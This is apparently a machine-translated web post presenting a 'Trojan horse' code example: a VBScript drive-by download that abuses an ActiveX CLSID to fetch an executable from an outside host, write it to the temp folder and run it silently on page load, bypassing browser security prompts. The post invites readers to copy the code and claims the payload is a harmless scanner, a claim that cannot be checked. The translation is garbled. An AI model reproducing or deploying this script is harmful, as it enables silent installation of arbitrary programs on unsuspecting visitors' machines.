Trojan Horse code example (inside the file is a vulnerability scanner, hehe) _ Trojan Related

For a friend who often surf the internet, the Trojan horse will not be unfamiliar, open a website, inexplicably run a trojan, although the "Internet Options" in the "security" settings, but the following code will not pop any information directly run the program, do not believe that follow me!
(Hint: just understand the technology and methods, do not do damage, Yexj00.exe is a windows2000 vulnerability scanner and check leakage for use, not viruses or Trojans, rest assured to run. )

Copy Code code as follows:

<script language= "VBScript" >
On Error Resume Next
DL = "<a href=" Http://yexj00.5dm.cn/soft/yexj00.exe "target=" _blank ">http://yexj00.5dm.cn/soft/yexj00.exe</a>"
Set Ye=document.createelement ("Object")
Ystr= "Clsid:bd96c556-65a3-11d0-983a-00c04fc29e36"
Ye.setattribute "ClassID", Ystr
Set x = ye. CreateObject ("Microsoft.XMLHTTP", "")
Set S = Ye.createobject ("ADODB.") Stream "," ")
S.type = 1
X.open "Get", DL, False
X.send
Fname= "Win2000 vulnerability scanner. exe"
Set F = Ye.createobject ("Scripting.FileSystemObject", "")
Set tmp = F.getspecialfolder (2)
Fname= F.buildpath (Tmp,fname)
S.open
S.write X.responsebody
S.savetofile fname,2
S.close
Set A=ye.createobject ("Shell.Application", "")
A.shellexecute fname, "", "", "open", 1
</script>